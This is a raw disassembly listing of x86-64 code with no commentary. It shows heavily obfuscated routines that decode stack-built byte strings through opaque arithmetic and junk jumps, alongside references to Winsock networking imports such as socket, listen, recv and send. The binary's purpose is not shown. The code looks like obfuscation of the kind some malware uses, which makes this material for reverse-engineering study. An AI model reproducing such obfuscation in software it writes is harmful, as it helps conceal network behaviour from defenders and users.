movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
cmp rbx, 1
jae 0x14007a73f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a63b
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
movzx eax, byte [rbp + r10 + 0x4e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a033
jne 0x14007a4f0
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a033
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007a514
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x14007a92a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007a53c
movzx r11d, r10b
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x14007a8a8
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007a448
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007a033
jne 0x14007a58f
movzx r11d, r10b
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
jmp 0x14007a840
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007a5b9
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
dec r10
inc r10
jmp 0x14007a033
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a5dd
lea ecx, [r10 + 0x6f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 9
jmp 0x14007a8cd
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007a601
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
jmp 0x14007a8ff
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007a479
lea ecx, [r10 + 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x71
movzx eax, byte [rbp + r10 + 0x4e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a033
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007a663
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007a8cd
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007a687
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x14007a8ca
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007a6b3
movzx r11d, r10b
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007a8a8
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007a6dd
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x14007a033
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a705
movzx r11d, r10b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x14007a840
cmp r8, 0x40
jb 0x14007a72f
movzx r11d, r10b
lea ecx, [r11 + 0x6a]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_listen
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14007a840
mov byte [rbp + r10 + 0x4e0], dil
inc r10
jmp 0x14007a033
movzx r11d, r10b
lea edx, [r11 + 0x58]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x4e0]
sub dil, al
sub dil, 0x68
add dil, r9b
add dil, dl
jmp 0x14007a8a8
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007a8ff
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
movzx eax, byte [rbp + r10 + 0x4e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a033
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x63
jmp 0x14007a8ff
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
jmp 0x14007a8cd
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
dec r10
inc r10
jmp 0x14007a033
movzx r11d, r10b
lea ecx, [r11 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
jmp 0x14007a840
movzx r11d, r10b
lea ecx, [r11 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
add r11b, 0x61
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x59
add r9b, r11b
mov byte [rbp + r10 + 0x4e0], r9b
inc r8
dec r10
inc r10
jmp 0x14007a033
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4f
dec r10
inc r10
jmp 0x14007a033
movzx r11d, r10b
lea ecx, [r11 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
add r11b, 0x4f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x29
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x4e0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007a033
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x47
lea edx, [r10 + 0x3d]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x55
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x4e0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x34]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x6c
add r9b, cl
mov byte [rbp + r10 + 0x4e0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x4e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a033
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x43
movzx eax, byte [rbp + r10 + 0x4e0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a033
add r10b, 0x53
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x45
jmp 0x14007a030
add r10b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x3d
jmp 0x14007a017
lea rcx, [rbp + 0x150fed4]
jmp 0x14007a9ed
lea rcx, [rbp + 0x7dbecb]
jmp 0x14007a9ed
lea rcx, [rbp + 0x4e0]
lea rdx, [0x1401ed24b]
call fcn.140039930
mov byte [rbp + 0x510], WSAStartup
mov byte [rbp + 0x511], reloc.WS2_32.dll_socket
mov byte [rbp + 0x512], 3
mov byte [rbp + 0x513], reloc.WS2_32.dll_listen
mov byte [rbp + 0x514], 6
mov byte [rbp + 0x515], 2
mov byte [rbp + 0x516], 0x48
mov byte [rbp + 0x517], WSAGetLastError
mov byte [rbp + 0x518], 0x18
mov byte [rbp + 0x519], 0x1c
mov byte [rbp + 0x51a], 0x19
mov byte [rbp + 0x51b], 6
mov byte [rbp + 0x51c], 0x1a
mov byte [rbp + 0x51d], socket
mov byte [rbp + 0x51e], 0x1f
mov byte [rbp + 0x51f], 1
mov byte [rbp + 0x520], 0xb6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x521], xmm0
mov qword [rbp + 0x531], rax
mov word [rbp + 0x539], ax
movabs rsi, 0x4e19f808cabf8345
movabs r15, 0x22b5c83d8b3c96e3
movabs r12, 0x8681d82bf5bd9059
movabs r14, 0xea4de81a603e89cf
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
mov r10, r13
cmp r10, 0x2b
jae 0x14007b65f
movzx r9d, byte [rbp + r10 + 0x510]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007b656
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007ab1c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x1d
jmp 0x14007ab56
je 0x14007b5e8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b58b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b544
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007b522
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007b4fd
cmp r8, r10
ja 0x14007b64d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14007ab83
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
jmp 0x14007abc0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007b4b2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b490
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b432
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007b413
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007b137
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007b114
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007b0f0
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007b0cf
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007b0ac
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007b08d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b072
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b057
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007b038
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007b007
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007abd0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007b630
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007b613
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007adc0
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007ada5
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007ad8a
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007afba
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007af71
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007af31
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007af0b
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007abd0
lea rbx, [r8 + 0x400]
lea r8, [rbx + 6]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007aeda
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007aebb
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007aea0
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007ae85
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007ae66
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007ae43
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007ae22
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007adfe
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007addb
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007abd0
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x61]
jmp 0x14007abd0
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x41
jmp 0x14007abc0
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
jmp 0x14007ab56
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
jmp 0x14007aae6
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007b4d0
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
inc r8
dec r10
inc r10
jmp 0x14007aad3
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
dec r10
inc r10
jmp 0x14007aad3
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007b450
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b474
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x14007b477
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14007b55e
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b5a1
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x510]
add rax, r8
add r10, rax
inc r10
jmp 0x14007aad3
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
mov byte [rbp + r10 + 0x510], dil
inc r10
jmp 0x14007aad3
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
cmp r8, 9
jb 0x14007af21
movzx r11d, r10b
lea edx, [r11 + 0x7e]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007b4d0
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
cmp rbx, 2
jae 0x14007b3cf
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14007b2f0
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007af47
lea ecx, [r10 + 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 7
lea rax, [r8 + rbx]
cmp rax, 0x28
je 0x14007b3f7
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14007b214
lea edx, [r10 + 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x17
add dil, dl
jmp 0x14007af87
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x510]
add rax, r8
add r10, rax
inc r10
jmp 0x14007aad3
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b5a1
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14007b55e
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x14007b477
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b474
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b450
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
dec r10
inc r10
jmp 0x14007aad3
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x14007aad3
movzx r11d, r10b
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b4d0
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14007b15b
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
jmp 0x14007afd0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b191
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
movzx eax, byte [rbp + r10 + 0x510]
add rax, r8
add r10, rax
inc r10
jmp 0x14007aad3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007b1b9
movzx r11d, r10b
lea ecx, [r11 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14007b450
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007b1e7
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007aad3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007afd0
movzx r11d, r10b
lea edx, [r11 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
jmp 0x14007b4cd
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b23d
movzx r11d, r10b
lea edx, [r11 - 5]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x23
jmp 0x14007b4cd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007b268
lea ecx, [r10 + 0xf]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x69
dec r10
inc r10
jmp 0x14007aad3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007b28d
lea ecx, [r10 - 0x53]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x45
jmp 0x14007b477
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007b2b5
lea edx, [r10 + 0x37]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7f
add dil, dl
jmp 0x14007b55e
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007af87
lea ecx, [r10 + 0x4b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xd
movzx eax, byte [rbp + r10 + 0x510]
add rax, r8
add r10, rax
inc r10
jmp 0x14007aad3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b327
lea ecx, [r10 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x510]
add rax, r8
add r10, rax
inc r10
jmp 0x14007aad3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007b34f
lea edx, [r10 + 0x2e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
add dil, dl
jmp 0x14007b5a1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007b377
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007b474
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007b3a0
movzx r11d, r10b
lea edx, [r11 + 0x56]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
jmp 0x14007b44d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007af47
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
dec r10
inc r10
jmp 0x14007aad3
movzx r11d, r10b
lea edx, [r11 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x510]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r9b
jmp 0x14007b450
lea edx, [r10 - 0x6e]
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007b55e
lea edx, [r10 + 0x6f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 9
add dil, dl
jmp 0x14007b55e
movzx r11d, r10b
lea edx, [r11 - 0x2f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x49
add dil, dl
add r11b, 0x4d
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x1b
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x510], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007aad3
lea ecx, [r10 + 0x47]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xf
dec r10
inc r10
jmp 0x14007aad3
movzx r11d, r10b
lea edx, [r11 + 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x65
add dil, dl
sub r11b, 0x3d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x55
add r9b, r11b
mov byte [rbp + r10 + 0x510], r9b
inc r8
dec r10
inc r10
jmp 0x14007aad3
lea ecx, [r10 - 0x6b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x13
inc r8
dec r10
inc r10
jmp 0x14007aad3
lea ecx, [r10 + 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4d
dec r10
inc r10
jmp 0x14007aad3
lea rcx, [r10 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x35
add dil, cl
lea edx, [r10 - 0x29]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x1f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x510], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14007b5a1
lea rax, [r10 + r12]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x6f
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x510], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x510]
add rax, r8
add r10, rax
inc r10
jmp 0x14007aad3
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x57
movzx eax, byte [rbp + r10 + 0x510]
add rax, r8
add r10, rax
inc r10
jmp 0x14007aad3
sub r10b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x14007aad0
add r10b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x14007aab7
lea rcx, [rbp + 0x16c376c]
jmp 0x14007b666
lea rcx, [rbp + 0xabbab1]
jmp 0x14007b666
lea rcx, [rbp + 0x510]
lea rdx, [0x1401ed242]
call fcn.140039930
mov byte [rbp + 0x280], 9
mov byte [rbp + 0x281], 0xdf
mov byte [rbp + 0x282], 0xe3
mov byte [rbp + 0x283], 0xe5
mov byte [rbp + 0x284], 0xdc
mov byte [rbp + 0x285], 0xe4
mov byte [rbp + 0x286], 0x26
mov byte [rbp + 0x287], 0xfd
mov byte [rbp + 0x288], 0xf7
mov byte [rbp + 0x289], 0xef
mov byte [rbp + 0x28a], 0xba
xor eax, eax
mov dword [rbp + 0x28b], eax
mov word [rbp + 0x28f], ax
mov byte [rbp + 0x291], al
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x12
jae 0x14007bfa5
movzx r9d, byte [rbp + r10 + 0x280]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007bf9c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007b73f
lea rcx, [r10 + 0x13376]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x3a
jmp 0x14007b770
je 0x14007bf22
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007be93
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007be61
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007be1d
nop dword [rax]
cmp r8, r10
ja 0x14007bf93
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007b79e
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b7d0
je 0x14007be02
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007bde1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007bdc6
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007bd95
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007ba5d
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007ba3a
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007ba16
lea rcx, [r8 + 6]
cmp rbx, rcx
je 0x14007b9f1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007b9d2
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007b9b3
mov rbx, rcx
lea r8, [rcx + 0x80]
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14007bf73
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x14007bf56
lea rcx, [r8 + 0x80]
cmp rbx, rcx
jb 0x14007b8f3
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007b8d8
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007b8bd
mov rbx, rcx
lea r8, [rcx + 1]
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14007b986
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14007b967
lea rcx, [r8 + 1]
cmp rbx, rcx
ja 0x14007b94c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007b92d
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007b912
mov rbx, rcx
lea r8, [rcx + 0x20]
jmp 0x14007b7e0
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
